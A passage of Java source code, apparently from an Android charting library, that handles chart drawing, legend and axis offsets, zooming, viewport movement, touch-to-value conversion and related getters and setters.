mXAxisRenderer.renderGridLines(canvas);
mAxisRendererLeft.renderGridLines(canvas);
mAxisRendererRight.renderGridLines(canvas);
if (mXAxis.isDrawLimitLinesBehindDataEnabled())
mXAxisRenderer.renderLimitLines(canvas);
if (mAxisLeft.isDrawLimitLinesBehindDataEnabled())
mAxisRendererLeft.renderLimitLines(canvas);
if (mAxisRight.isDrawLimitLinesBehindDataEnabled())
mAxisRendererRight.renderLimitLines(canvas);
mRenderer.drawData(canvas);
// if highlighting is enabled
if (valuesToHighlight())
mRenderer.drawHighlighted(canvas, mIndicesToHighlight);
// Removes clipping rectangle
canvas.restoreToCount(clipRestoreCount);
mRenderer.drawExtras(canvas);
clipRestoreCount = canvas.save();
canvas.clipRect(mViewPortHandler.getContentRect());
if (!mXAxis.isDrawLimitLinesBehindDataEnabled())
mXAxisRenderer.renderLimitLines(canvas);
if (!mAxisLeft.isDrawLimitLinesBehindDataEnabled())
mAxisRendererLeft.renderLimitLines(canvas);
if (!mAxisRight.isDrawLimitLinesBehindDataEnabled())
mAxisRendererRight.renderLimitLines(canvas);
canvas.restoreToCount(clipRestoreCount);
mXAxisRenderer.renderAxisLabels(canvas);
mAxisRendererLeft.renderAxisLabels(canvas);
mAxisRendererRight.renderAxisLabels(canvas);
mRenderer.drawValues(canvas);
mLegendRenderer.renderLegend(canvas);
drawMarkers(canvas);
drawDescription(canvas);
if (mLogEnabled) {
long drawtime = (System.currentTimeMillis() - starttime);
totalTime += drawtime;
drawCycles += 1;
long average = totalTime / drawCycles;
Log.i(LOG_TAG, "Drawtime: " + drawtime + " ms, average: " + average + " ms, cycles: "
+ drawCycles);
}
}
/**
* RESET PERFORMANCE TRACKING FIELDS
*/
public void resetTracking() {
totalTime = 0;
drawCycles = 0;
}
protected void prepareValuePxMatrix() {
if (mLogEnabled)
Log.i(LOG_TAG, "Preparing Value-Px Matrix, xmin: " + mXAxis.mAxisMinimum + ", xmax: "
+ mXAxis.mAxisMaximum + ", xdelta: " + mXAxis.mAxisRange);
mRightAxisTransformer.prepareMatrixValuePx(mXAxis.mAxisMinimum,
mXAxis.mAxisRange,
mAxisRight.mAxisRange,
mAxisRight.mAxisMinimum);
mLeftAxisTransformer.prepareMatrixValuePx(mXAxis.mAxisMinimum,
mXAxis.mAxisRange,
mAxisLeft.mAxisRange,
mAxisLeft.mAxisMinimum);
}
protected void prepareOffsetMatrix() {
mRightAxisTransformer.prepareMatrixOffset(mAxisRight.isInverted());
mLeftAxisTransformer.prepareMatrixOffset(mAxisLeft.isInverted());
}
@Override
public void notifyDataSetChanged() {
if (mData == null) {
if (mLogEnabled)
Log.i(LOG_TAG, "Preparing... DATA NOT SET.");
return;
} else {
if (mLogEnabled)
Log.i(LOG_TAG, "Preparing...");
}
if (mRenderer != null)
mRenderer.initBuffers();
calcMinMax();
mAxisRendererLeft.computeAxis(mAxisLeft.mAxisMinimum, mAxisLeft.mAxisMaximum);
mAxisRendererRight.computeAxis(mAxisRight.mAxisMinimum, mAxisRight.mAxisMaximum);
mXAxisRenderer.computeAxis(mData.getXValMaximumLength(), mData.getXVals());
if (mLegend != null)
mLegendRenderer.computeLegend(mData);
calculateOffsets();
}
@Override
protected void calcMinMax() {
if (mAutoScaleMinMaxEnabled)
mData.calcMinMax(getLowestVisibleXIndex(), getHighestVisibleXIndex());
// calculate / set x-axis range
mXAxis.mAxisMaximum = mData.getXVals().size() - 1;
mXAxis.mAxisRange = Math.abs(mXAxis.mAxisMaximum - mXAxis.mAxisMinimum);
// calculate axis range (min / max) according to provided data
mAxisLeft.calculate(mData.getYMin(AxisDependency.LEFT), mData.getYMax(AxisDependency.LEFT));
mAxisRight.calculate(mData.getYMin(AxisDependency.RIGHT), mData.getYMax(AxisDependency
.RIGHT));
}
protected void calculateLegendOffsets(RectF offsets) {
offsets.left = 0.f;
offsets.right = 0.f;
offsets.top = 0.f;
offsets.bottom = 0.f;
// setup offsets for legend
if (mLegend != null && mLegend.isEnabled() && !mLegend.isDrawInsideEnabled()) {
switch (mLegend.getOrientation()) {
case VERTICAL:
switch (mLegend.getHorizontalAlignment()) {
case LEFT:
offsets.left += Math.min(mLegend.mNeededWidth,
mViewPortHandler.getChartWidth() * mLegend.getMaxSizePercent())
+ mLegend.getXOffset();
break;
case RIGHT:
offsets.right += Math.min(mLegend.mNeededWidth,
mViewPortHandler.getChartWidth() * mLegend.getMaxSizePercent())
+ mLegend.getXOffset();
break;
case CENTER:
switch (mLegend.getVerticalAlignment()) {
case TOP:
offsets.top += Math.min(mLegend.mNeededHeight,
mViewPortHandler.getChartHeight() * mLegend.getMaxSizePercent())
+ mLegend.getYOffset();
if (getXAxis().isEnabled() && getXAxis().isDrawLabelsEnabled())
offsets.top += getXAxis().mLabelRotatedHeight;
break;
case BOTTOM:
offsets.bottom += Math.min(mLegend.mNeededHeight,
mViewPortHandler.getChartHeight() * mLegend.getMaxSizePercent())
+ mLegend.getYOffset();
if (getXAxis().isEnabled() && getXAxis().isDrawLabelsEnabled())
offsets.bottom += getXAxis().mLabelRotatedHeight;
break;
default:
break;
}
}
break;
case HORIZONTAL:
switch (mLegend.getVerticalAlignment()) {
case TOP:
offsets.top += Math.min(mLegend.mNeededHeight,
mViewPortHandler.getChartHeight() * mLegend.getMaxSizePercent())
+ mLegend.getYOffset();
if (getXAxis().isEnabled() && getXAxis().isDrawLabelsEnabled())
offsets.top += getXAxis().mLabelRotatedHeight;
break;
case BOTTOM:
offsets.bottom += Math.min(mLegend.mNeededHeight,
mViewPortHandler.getChartHeight() * mLegend.getMaxSizePercent())
+ mLegend.getYOffset();
if (getXAxis().isEnabled() && getXAxis().isDrawLabelsEnabled())
offsets.bottom += getXAxis().mLabelRotatedHeight;
break;
default:
break;
}
break;
}
}
}
private RectF mOffsetsBuffer = new RectF();
@Override
public void calculateOffsets() {
if (!mCustomViewPortEnabled) {
float offsetLeft = 0f, offsetRight = 0f, offsetTop = 0f, offsetBottom = 0f;
calculateLegendOffsets(mOffsetsBuffer);
offsetLeft += mOffsetsBuffer.left;
offsetTop += mOffsetsBuffer.top;
offsetRight += mOffsetsBuffer.right;
offsetBottom += mOffsetsBuffer.bottom;
// offsets for y-labels
if (mAxisLeft.needsOffset()) {
offsetLeft += mAxisLeft.getRequiredWidthSpace(mAxisRendererLeft
.getPaintAxisLabels());
}
if (mAxisRight.needsOffset()) {
offsetRight += mAxisRight.getRequiredWidthSpace(mAxisRendererRight
.getPaintAxisLabels());
}
if (mXAxis.isEnabled() && mXAxis.isDrawLabelsEnabled()) {
float xlabelheight = mXAxis.mLabelRotatedHeight + mXAxis.getYOffset();
// offsets for x-labels
if (mXAxis.getPosition() == XAxisPosition.BOTTOM) {
offsetBottom += xlabelheight;
} else if (mXAxis.getPosition() == XAxisPosition.TOP) {
offsetTop += xlabelheight;
} else if (mXAxis.getPosition() == XAxisPosition.BOTH_SIDED) {
offsetBottom += xlabelheight;
offsetTop += xlabelheight;
}
}
offsetTop += getExtraTopOffset();
offsetRight += getExtraRightOffset();
offsetBottom += getExtraBottomOffset();
offsetLeft += getExtraLeftOffset();
float minOffset = Utils.convertDpToPixel(mMinOffset);
mViewPortHandler.restrainViewPort(
Math.max(minOffset, offsetLeft),
Math.max(minOffset, offsetTop),
Math.max(minOffset, offsetRight),
Math.max(minOffset, offsetBottom));
if (mLogEnabled) {
Log.i(LOG_TAG, "offsetLeft: " + offsetLeft + ", offsetTop: " + offsetTop
+ ", offsetRight: " + offsetRight + ", offsetBottom: " + offsetBottom);
Log.i(LOG_TAG, "Content: " + mViewPortHandler.getContentRect().toString());
}
}
prepareOffsetMatrix();
prepareValuePxMatrix();
}
/**
* calculates the modulus for x-labels and grid
*/
protected void calcModulus() {
if (mXAxis == null || !mXAxis.isEnabled())
return;
if (!mXAxis.isAxisModulusCustom()) {
float[] values = new float[9];
mViewPortHandler.getMatrixTouch().getValues(values);
mXAxis.mAxisLabelModulus = (int) Math
.ceil((mData.getXValCount() * mXAxis.mLabelRotatedWidth)
/ (mViewPortHandler.contentWidth() * values[Matrix.MSCALE_X]));
}
if (mLogEnabled)
Log.i(LOG_TAG, "X-Axis modulus: " + mXAxis.mAxisLabelModulus +
", x-axis label width: " + mXAxis.mLabelWidth +
", x-axis label rotated width: " + mXAxis.mLabelRotatedWidth +
", content width: " + mViewPortHandler.contentWidth());
if (mXAxis.mAxisLabelModulus < 1)
mXAxis.mAxisLabelModulus = 1;
}
@Override
protected float[] getMarkerPosition(Entry e, Highlight highlight) {
int dataSetIndex = highlight.getDataSetIndex();
float xPos = e.getXIndex();
float yPos = e.getVal();
if (this instanceof BarChart) {
BarData bd = (BarData) mData;
float space = bd.getGroupSpace();
int setCount = mData.getDataSetCount();
int i = e.getXIndex();
if (this instanceof HorizontalBarChart) {
// calculate the x-position, depending on datasetcount
float y = i + i * (setCount - 1) + dataSetIndex + space * i + space / 2f;
yPos = y;
BarEntry entry = (BarEntry) e;
if (entry.getVals() != null) {
xPos = highlight.getRange().to;
} else {
xPos = e.getVal();
}
xPos *= mAnimator.getPhaseY();
} else {
float x = i + i * (setCount - 1) + dataSetIndex + space * i + space / 2f;
xPos = x;
BarEntry entry = (BarEntry) e;
if (entry.getVals() != null) {
yPos = highlight.getRange().to;
} else {
yPos = e.getVal();
}
yPos *= mAnimator.getPhaseY();
}
} else {
yPos *= mAnimator.getPhaseY();
}
// position of the marker depends on selected value index and value
float[] pts = new float[]{
xPos, yPos
};
getTransformer(mData.getDataSetByIndex(dataSetIndex).getAxisDependency())
.pointValuesToPixel(pts);
return pts;
}
/**
* draws the grid background
*/
protected void drawGridBackground(Canvas c) {
if (mDrawGridBackground) {
// draw the grid background
c.drawRect(mViewPortHandler.getContentRect(), mGridBackgroundPaint);
}
if (mDrawBorders) {
c.drawRect(mViewPortHandler.getContentRect(), mBorderPaint);
}
}
/**
* Returns the Transformer class that contains all matrices and is
* responsible for transforming values into pixels on the screen and
* backwards.
*
* @return
*/
public Transformer getTransformer(AxisDependency which) {
if (which == AxisDependency.LEFT)
return mLeftAxisTransformer;
else
return mRightAxisTransformer;
}
@Override
public boolean onTouchEvent(MotionEvent event) {
super.onTouchEvent(event);
if (mChartTouchListener == null || mData == null)
return false;
// check if touch gestures are enabled
if (!mTouchEnabled)
return false;
else
return mChartTouchListener.onTouch(this, event);
}
@Override
public void computeScroll() {
if (mChartTouchListener instanceof BarLineChartTouchListener)
((BarLineChartTouchListener) mChartTouchListener).computeScroll();
}
/**
* ################ ################ ################ ################
*/
/**
* CODE BELOW THIS RELATED TO SCALING AND GESTURES AND MODIFICATION OF THE
* VIEWPORT
*/
/**
* Zooms in by 1.4f, into the charts center. center.
*/
public void zoomIn() {
PointF center = mViewPortHandler.getContentCenter();
Matrix save = mViewPortHandler.zoomIn(center.x, -center.y);
mViewPortHandler.refresh(save, this, false);
// Range might have changed, which means that Y-axis labels
// could have changed in size, affecting Y-axis size.
// So we need to recalculate offsets.
calculateOffsets();
postInvalidate();
}
/**
* Zooms out by 0.7f, from the charts center. center.
*/
public void zoomOut() {
PointF center = mViewPortHandler.getContentCenter();
Matrix save = mViewPortHandler.zoomOut(center.x, -center.y);
mViewPortHandler.refresh(save, this, false);
// Range might have changed, which means that Y-axis labels
// could have changed in size, affecting Y-axis size.
// So we need to recalculate offsets.
calculateOffsets();
postInvalidate();
}
/**
* Zooms in or out by the given scale factor. x and y are the coordinates
* (in pixels) of the zoom center.
*
* @param scaleX if < 1f --> zoom out, if > 1f --> zoom in
* @param scaleY if < 1f --> zoom out, if > 1f --> zoom in
* @param x
* @param y
*/
public void zoom(float scaleX, float scaleY, float x, float y) {
Matrix save = mViewPortHandler.zoom(scaleX, scaleY, x, y);
mViewPortHandler.refresh(save, this, false);
// Range might have changed, which means that Y-axis labels
// could have changed in size, affecting Y-axis size.
// So we need to recalculate offsets.
calculateOffsets();
postInvalidate();
}
/**
* Zooms in or out by the given scale factor.
* x and y are the values (NOT PIXELS) which to zoom to or from (the values of the zoom center).
*
* @param scaleX
* @param scaleY
* @param xValue
* @param yValue
* @param axis the axis relative to which the zoom should take place
*/
public void zoom(float scaleX, float scaleY, float xValue, float yValue, AxisDependency axis) {
Runnable job = new ZoomJob(mViewPortHandler, scaleX, scaleY, xValue, yValue, getTransformer(axis), axis, this);
addViewportJob(job);
}
/**
* Zooms by the specified scale factor to the specified values on the specified axis.
*
* @param scaleX
* @param scaleY
* @param xValue
* @param yValue
* @param axis
* @param duration
*/
@TargetApi(11)
public void zoomAndCenterAnimated(float scaleX, float scaleY, float xValue, float yValue, AxisDependency axis, long duration) {
if (android.os.Build.VERSION.SDK_INT >= 11) {
PointD origin = getValuesByTouchPoint(mViewPortHandler.contentLeft(), mViewPortHandler.contentTop(), axis);
Runnable job = new AnimatedZoomJob(mViewPortHandler, this, getTransformer(axis), getAxis(axis), mXAxis.getValues().size(), scaleX, scaleY, mViewPortHandler.getScaleX(), mViewPortHandler.getScaleY(), xValue, yValue, (float) origin.x, (float) origin.y, duration);
addViewportJob(job);
} else {
Log.e(LOG_TAG, "Unable to execute zoomAndCenterAnimated(...) on API level < 11");
}
}
/**
* Resets all zooming and dragging and makes the chart fit exactly it's
* bounds.
*/
public void fitScreen() {
Matrix save = mViewPortHandler.fitScreen();
mViewPortHandler.refresh(save, this, false);
calculateOffsets();
postInvalidate();
}
/**
* Sets the minimum scale factor value to which can be zoomed out. 1f =
* fitScreen
*
* @param scaleX
* @param scaleY
*/
public void setScaleMinima(float scaleX, float scaleY) {
mViewPortHandler.setMinimumScaleX(scaleX);
mViewPortHandler.setMinimumScaleY(scaleY);
}
/**
* Sets the size of the area (range on the x-axis) that should be maximum
* visible at once (no further zooming out allowed). If this is e.g. set to
* 10, no more than 10 values on the x-axis can be viewed at once without
* scrolling.
*
* @param maxXRange The maximum visible range of x-values.
*/
public void setVisibleXRangeMaximum(float maxXRange) {
float xScale = mXAxis.mAxisRange / (maxXRange);
mViewPortHandler.setMinimumScaleX(xScale);
}
/**
* Sets the size of the area (range on the x-axis) that should be minimum
* visible at once (no further zooming in allowed). If this is e.g. set to
* 10, no less than 10 values on the x-axis can be viewed at once without
* scrolling.
*
* @param minXRange The minimum visible range of x-values.
*/
public void setVisibleXRangeMinimum(float minXRange) {
float xScale = mXAxis.mAxisRange / minXRange;
mViewPortHandler.setMaximumScaleX(xScale);
}
/**
* Limits the maximum and minimum value count that can be visible by
* pinching and zooming. e.g. minRange=10, maxRange=100 no less than 10
* values and no more that 100 values can be viewed at once without
* scrolling
*
* @param minXRange
* @param maxXRange
*/
public void setVisibleXRange(float minXRange, float maxXRange) {
float maxScale = mXAxis.mAxisRange / minXRange;
float minScale = mXAxis.mAxisRange / maxXRange;
mViewPortHandler.setMinMaxScaleX(minScale, maxScale);
}
/**
* Sets the size of the area (range on the y-axis) that should be maximum
* visible at once.
*
* @param maxYRange the maximum visible range on the y-axis
* @param axis - the axis for which this limit should apply
*/
public void setVisibleYRangeMaximum(float maxYRange, AxisDependency axis) {
float yScale = getDeltaY(axis) / maxYRange;
mViewPortHandler.setMinimumScaleY(yScale);
}
/**
* Moves the left side of the current viewport to the specified x-index.
* This also refreshes the chart by calling invalidate().
*
* @param xIndex
*/
public void moveViewToX(float xIndex) {
Runnable job = new MoveViewJob(mViewPortHandler, xIndex, 0f,
getTransformer(AxisDependency.LEFT), this);
addViewportJob(job);
}
/**
* Centers the viewport to the specified y-value on the y-axis.
* This also refreshes the chart by calling invalidate().
*
* @param yValue
* @param axis - which axis should be used as a reference for the y-axis
*/
public void moveViewToY(float yValue, AxisDependency axis) {
float valsInView = getDeltaY(axis) / mViewPortHandler.getScaleY();
Runnable job = new MoveViewJob(mViewPortHandler, 0f, yValue + valsInView / 2f,
getTransformer(axis), this);
addViewportJob(job);
}
/**
* This will move the left side of the current viewport to the specified
* x-value on the x-axis, and center the viewport to the specified y-value
* on the y-axis.
* This also refreshes the chart by calling invalidate().
*
* @param xIndex
* @param yValue
* @param axis - which axis should be used as a reference for the y-axis
*/
public void moveViewTo(float xIndex, float yValue, AxisDependency axis) {
float valsInView = getDeltaY(axis) / mViewPortHandler.getScaleY();
Runnable job = new MoveViewJob(mViewPortHandler, xIndex, yValue + valsInView / 2f,
getTransformer(axis), this);
addViewportJob(job);
}
/**
* This will move the left side of the current viewport to the specified x-position
* and center the viewport to the specified y-position animated.
* This also refreshes the chart by calling invalidate().
*
* @param xIndex
* @param yValue
* @param axis
* @param duration the duration of the animation in milliseconds
*/
@TargetApi(11)
public void moveViewToAnimated(float xIndex, float yValue, AxisDependency axis, long duration) {
if (android.os.Build.VERSION.SDK_INT >= 11) {
PointD bounds = getValuesByTouchPoint(mViewPortHandler.contentLeft(), mViewPortHandler.contentTop(), axis);
float valsInView = getDeltaY(axis) / mViewPortHandler.getScaleY();
Runnable job = new AnimatedMoveViewJob(mViewPortHandler, xIndex, yValue + valsInView / 2f,
getTransformer(axis), this, (float) bounds.x, (float) bounds.y, duration);
addViewportJob(job);
} else {
Log.e(LOG_TAG, "Unable to execute moveViewToAnimated(...) on API level < 11");
}
}
/**
* This will move the center of the current viewport to the specified
* x-value and y-value.
* This also refreshes the chart by calling invalidate().
*
* @param xIndex
* @param yValue
* @param axis - which axis should be used as a reference for the y-axis
*/
public void centerViewTo(float xIndex, float yValue, AxisDependency axis) {
float valsInView = getDeltaY(axis) / mViewPortHandler.getScaleY();
float xsInView = getXAxis().getValues().size() / mViewPortHandler.getScaleX();
Runnable job = new MoveViewJob(mViewPortHandler,
xIndex - xsInView / 2f, yValue + valsInView / 2f,
getTransformer(axis), this);
addViewportJob(job);
}
/**
* This will move the center of the current viewport to the specified
* x-value and y-value animated.
*
* @param xIndex
* @param yValue
* @param axis
* @param duration the duration of the animation in milliseconds
*/
@TargetApi(11)
public void centerViewToAnimated(float xIndex, float yValue, AxisDependency axis, long duration) {
if (android.os.Build.VERSION.SDK_INT >= 11) {
PointD bounds = getValuesByTouchPoint(mViewPortHandler.contentLeft(), mViewPortHandler.contentTop(), axis);
float valsInView = getDeltaY(axis) / mViewPortHandler.getScaleY();
float xsInView = getXAxis().getValues().size() / mViewPortHandler.getScaleX();
Runnable job = new AnimatedMoveViewJob(mViewPortHandler,
xIndex - xsInView / 2f, yValue + valsInView / 2f,
getTransformer(axis), this, (float) bounds.x, (float) bounds.y, duration);
addViewportJob(job);
} else {
Log.e(LOG_TAG, "Unable to execute centerViewToAnimated(...) on API level < 11");
}
}
/**
* flag that indicates if a custom viewport offset has been set
*/
private boolean mCustomViewPortEnabled = false;
/**
* Sets custom offsets for the current ViewPort (the offsets on the sides of
* the actual chart window). Setting this will prevent the chart from
* automatically calculating it's offsets. Use resetViewPortOffsets() to
* undo this. ONLY USE THIS WHEN YOU KNOW WHAT YOU ARE DOING, else use
* setExtraOffsets(...).
*
* @param left
* @param top
* @param right
* @param bottom
*/
public void setViewPortOffsets(final float left, final float top,
final float right, final float bottom) {
mCustomViewPortEnabled = true;
post(new Runnable() {
@Override
public void run() {
mViewPortHandler.restrainViewPort(left, top, right, bottom);
prepareOffsetMatrix();
prepareValuePxMatrix();
}
});
}
public void setViewPortTopOffsets(final float top) {
mCustomViewPortEnabled = true;
post(new Runnable() {
@Override
public void run() {
mViewPortHandler.restrainViewPort(getExtraLeftOffset(), top, getExtraRightOffset(), getExtraBottomOffset());
prepareOffsetMatrix();
prepareValuePxMatrix();
}
});
}
/**
* Resets all custom offsets set via setViewPortOffsets(...) method. Allows
* the chart to again calculate all offsets automatically.
*/
public void resetViewPortOffsets() {
mCustomViewPortEnabled = false;
calculateOffsets();
}
/**
* ################ ################ ################ ################
*/
/** CODE BELOW IS GETTERS AND SETTERS */
/**
* Returns the delta-y value (y-value range) of the specified axis.
*
* @param axis
* @return
*/
public float getDeltaY(AxisDependency axis) {
if (axis == AxisDependency.LEFT)
return mAxisLeft.mAxisRange;
else
return mAxisRight.mAxisRange;
}
/**
* Sets the OnDrawListener
*
* @param drawListener
*/
public void setOnDrawListener(OnDrawListener drawListener) {
this.mDrawListener = drawListener;
}
/**
* Gets the OnDrawListener. May be null.
*
* @return
*/
public OnDrawListener getDrawListener() {
return mDrawListener;
}
/**
* Returns the position (in pixels) the provided Entry has inside the chart
* view or null, if the provided Entry is null.
*
* @param e
* @return
*/
public PointF getPosition(Entry e, AxisDependency axis) {
if (e == null)
return null;
float[] vals = new float[]{
e.getXIndex(), e.getVal()
};
getTransformer(axis).pointValuesToPixel(vals);
return new PointF(vals[0], vals[1]);
}
/**
* sets the number of maximum visible drawn values on the chart only active
* when setDrawValues() is enabled
*
* @param count
*/
public void setMaxVisibleValueCount(int count) {
this.mMaxVisibleCount = count;
}
public int getMaxVisibleCount() {
return mMaxVisibleCount;
}
/**
* Set this to true to allow highlighting per dragging over the chart
* surface when it is fully zoomed out. Default: true
*
* @param enabled
*/
public void setHighlightPerDragEnabled(boolean enabled) {
mHighlightPerDragEnabled = enabled;
}
public boolean isHighlightPerDragEnabled() {
return mHighlightPerDragEnabled;
}
/**
* Set this to true to make the highlight full-bar oriented,
* false to make it highlight single values
*
* @param enabled
*/
public void setHighlightFullBarEnabled(boolean enabled) {
mHighlightFullBarEnabled = enabled;
}
/**
* @return true the highlight is be full-bar oriented, false if single-value
*/
public boolean isHighlightFullBarEnabled() {
return mHighlightFullBarEnabled;
}
/**
* Sets the color for the background of the chart-drawing area (everything
* behind the grid lines).
*
* @param color
*/
public void setGridBackgroundColor(int color) {
mGridBackgroundPaint.setColor(color);
}
/**
* Set this to true to enable dragging (moving the chart with the finger)
* for the chart (this does not effect scaling).
*
* @param enabled
*/
public void setDragEnabled(boolean enabled) {
this.mDragEnabled = enabled;
}
/**
* Returns true if dragging is enabled for the chart, false if not.
*
* @return
*/
public boolean isDragEnabled() {
return mDragEnabled;
}
/**
* Set this to true to enable scaling (zooming in and out by gesture) for
* the chart (this does not effect dragging) on both X- and Y-Axis.
*
* @param enabled
*/
public void setScaleEnabled(boolean enabled) {
this.mScaleXEnabled = enabled;
this.mScaleYEnabled = enabled;
}
public void setScaleXEnabled(boolean enabled) {
mScaleXEnabled = enabled;
}
public void setScaleYEnabled(boolean enabled) {
mScaleYEnabled = enabled;
}
public boolean isScaleXEnabled() {
return mScaleXEnabled;
}
public boolean isScaleYEnabled() {
return mScaleYEnabled;
}
/**
* Set this to true to enable zooming in by double-tap on the chart.
* Default: enabled
*
* @param enabled
*/
public void setDoubleTapToZoomEnabled(boolean enabled) {
mDoubleTapToZoomEnabled = enabled;
}
/**
* Returns true if zooming via double-tap is enabled false if not.
*
* @return
*/
public boolean isDoubleTapToZoomEnabled() {
return mDoubleTapToZoomEnabled;
}
/**
* set this to true to draw the grid background, false if not
*
* @param enabled
*/
public void setDrawGridBackground(boolean enabled) {
mDrawGridBackground = enabled;
}
/**
* Sets drawing the borders rectangle to true. If this is enabled, there is
* no point drawing the axis-lines of x- and y-axis.
*
* @param enabled
*/
public void setDrawBorders(boolean enabled) {
mDrawBorders = enabled;
}
/**
* Sets the width of the border lines in dp.
*
* @param width
*/
public void setBorderWidth(float width) {
mBorderPaint.setStrokeWidth(Utils.convertDpToPixel(width));
}
/**
* Sets the color of the chart border lines.
*
* @param color
*/
public void setBorderColor(int color) {
mBorderPaint.setColor(color);
}
/**
* Gets the minimum offset (padding) around the chart, defaults to 15.f
*/
public float getMinOffset() {
return mMinOffset;
}
/**
* Sets the minimum offset (padding) around the chart, defaults to 15.f
*/
public void setMinOffset(float minOffset) {
mMinOffset = minOffset;
}
/**
* Returns true if keeping the position on rotation is enabled and false if not.
*/
public boolean isKeepPositionOnRotation() {
return mKeepPositionOnRotation;
}
/**
* Sets whether the chart should keep its position (zoom / scroll) after a rotation (orientation change)
*/
public void setKeepPositionOnRotation(boolean keepPositionOnRotation) {
mKeepPositionOnRotation = keepPositionOnRotation;
}
/**
* Returns the Highlight object (contains x-index and DataSet index) of the
* selected value at the given touch point inside the Line-, Scatter-, or
* CandleStick-Chart.
*
* @param x
* @param y
* @return
*/
public Highlight getHighlightByTouchPoint(float x, float y) {
if (mData == null) {
Log.e(LOG_TAG, "Can't select by touch. No data set.");
return null;
} else
return getHighlighter().getHighlight(x, y);
}
/**
* Returns the x and y values in the chart at the given touch point
* (encapsulated in a PointD). This method transforms pixel coordinates to
* coordinates / values in the chart. This is the opposite method to
* getPixelsForValues(...).
*
* @param x
* @param y
* @return
*/
public PointD getValuesByTouchPoint(float x, float y, AxisDependency axis) {
// create an array of the touch-point
float[] pts = new float[2];
pts[0] = x;
pts[1] = y;
getTransformer(axis).pixelsToValue(pts);
double xTouchVal = pts[0];
double yTouchVal = pts[1];
return new PointD(xTouchVal, yTouchVal);
}
/**
* Transforms the given chart values into pixels. This is the opposite
* method to getValuesByTouchPoint(...).
*
* @param x
* @param y
* @return
*/
public PointD getPixelsForValues(float x, float y, AxisDependency axis) {
float[] pts = new float[]{
x, y
};
getTransformer(axis).pointValuesToPixel(pts);
return new PointD(pts[0], pts[1]);
}
/**
* returns the y-value at the given touch position (must not necessarily be
* a value contained in one of the datasets)
*
* @param x
* @param y
* @return
*/
public float getYValueByTouchPoint(float x, float y, AxisDependency axis) {
return (float) getValuesByTouchPoint(x, y, axis).y;
}
/**
* returns the Entry object displayed at the touched position of the chart
*
* @param x
* @param y
* @return
*/
public Entry getEntryByTouchPoint(float x, float y) {
Highlight h = getHighlightByTouchPoint(x, y);
if (h != null) {
return mData.getEntryForHighlight(h);
}
return null;
}
/**
* returns the DataSet object displayed at the touched position of the chart
*
* @param x
* @param y
* @return
*/
public IBarLineScatterCandleBubbleDataSet getDataSetByTouchPoint(float x, float y) {
Highlight h = getHighlightByTouchPoint(x, y);
if (h != null) {
return mData.getDataSetByIndex(h.getDataSetIndex());
}
return null;
}
/**
* Returns the lowest x-index (value on the x-axis) that is still visible on
* the chart.
*
* @return
*/
@Override
public int getLowestVisibleXIndex() {
float[] pts = new float[]{
mViewPortHandler.contentLeft(), mViewPortHandler.contentBottom()
};
getTransformer(AxisDependency.LEFT).pixelsToValue(pts);
return (pts[0] <= 0) ? 0 : (int)Math.ceil(pts[0]);
}
/**
* Returns the highest x-index (value on the x-axis) that is still visible
* on the chart.
*
* @return
*/
@Override
public int getHighestVisibleXIndex() {
float[] pts = new float[]{
mViewPortHandler.contentRight(), mViewPortHandler.contentBottom()
};
getTransformer(AxisDependency.LEFT).pixelsToValue(pts);
return Math.min(mData.getXValCount() - 1, (int)Math.floor(pts[0]));
}
/**
* returns the current x-scale factor
*/
public float getScaleX() {
if (mViewPortHandler == null)
return 1f;
else
return mViewPortHandler.getScaleX();
}
/**
* returns the current y-scale factor
*/
public float getScaleY() {
if (mViewPortHandler == null)
return 1f;
else
return mViewPortHandler.getScaleY();
}
/**
* if the chart is fully zoomed out, return true
*
* @return
*/
public boolean isFullyZoomedOut() {
return mViewPortHandler.isFullyZoomedOut();
}
/**
* Returns the left y-axis object. In the horizontal bar-chart, this is the
* top axis.
*
* @return
*/
public YAxis getAxisLeft() {
return mAxisLeft;
}
/**
* Returns the right y-axis object. In the horizontal bar-chart, this is the
* bottom axis.
*
* @return
*/
public YAxis getAxisRight() {
return mAxisRight;
}
/**
* Returns the y-axis object to the corresponding AxisDependency. In the
* horizontal bar-chart, LEFT == top, RIGHT == BOTTOM
*
* @param axis
* @return
*/
public YAxis getAxis(AxisDependency axis) {
if (axis == AxisDependency.LEFT)
return mAxisLeft;
else
return mAxisRight;
}
@Override
public boolean isInverted(AxisDependency axis) {
return getAxis(axis).isInverted();
}
/**
* If set to true, both x and y axis can be scaled simultaneously with 2 fingers, if false,
* x and y axis can be scaled separately. default: false
*
* @param enabled
*/
public void setPinchZoom(boolean enabled) {
mPinchZoomEnabled = enabled;
}
/**
* returns true if pinch-zoom is enabled, false if not
*
* @return
*/
public boolean isPinchZoomEnabled() {
return mPinchZoomEnabled;
}
/**
* Set an offset in dp that allows the user to drag the chart over it's
* bounds on the x-axis.
*
* @param offset
*/
public void setDragOffsetX(float offset) {
mViewPortHandler.setDragOffsetX(offset);
}
/**
* Set an offset in dp that allows the user to drag the chart over it's
* bounds on the y-axis.
*
* @param offset
*/
public void setDragOffsetY(float offset) {
mViewPortHandler.setDragOffsetY(offset);
}
/**
* Returns true if both drag offsets (x and y) are zero or smaller.
*
* @return
*/
public boolean hasNoDragOffset() {
return mViewPortHandler.hasNoDragOffset();
}
public XAxisRenderer getRendererXAxis() {
return mXAxisRenderer;
}
/**
* Sets a custom XAxisRenderer and overrides the existing (default) one.
*
* @param xAxisRenderer
*/
public void setXAxisRenderer(XAxisRenderer xAxisRenderer) {
mXAxisRenderer = xAxisRenderer;
}
public YAxisRenderer getRendererLeftYAxis() {
return mAxisRendererLeft;
}
/**
* Sets a custom axis renderer for the left axis and overwrites the existing one.
*
* @param rendererLeftYAxis
*/
public void setRendererLeftYAxis(YAxisRenderer rendererLeftYAxis) {
mAxisRendererLeft = rendererLeftYAxis;
}
public YAxisRenderer getRendererRightYAxis() {
return mAxisRendererRight;
}
/**
* Sets a custom axis renderer for the right acis and overwrites the existing one.
*
* @param rendererRightYAxis
*/
public void setRendererRightYAxis(YAxisRenderer rendererRightYAxis) {
mAxisRendererRight = rendererRightYAxis;
}
@Override
public float getYChartMax() {
return Math.max(mAxisLeft.mAxisMaximum, mAxisRight.mAxisMaximum);
}
@Override
public float getYChartMin() {
return Math.min(mAxisLeft.mAxisMinimum, mAxisRight.mAxisMinimum);
}
/**
* Returns true if either the left or the right or both axes are inverted.
*
* @return
*/
public boolean isAnyAxisInverted() {
if (mAxisLeft.isInverted())
return true;
if (mAxisRight.isInverted())
return true;
return false;
}
/**
* Flag that indicates if auto scaling on the y axis is enabled. This is
* especially interesting for charts displaying financial data.
*
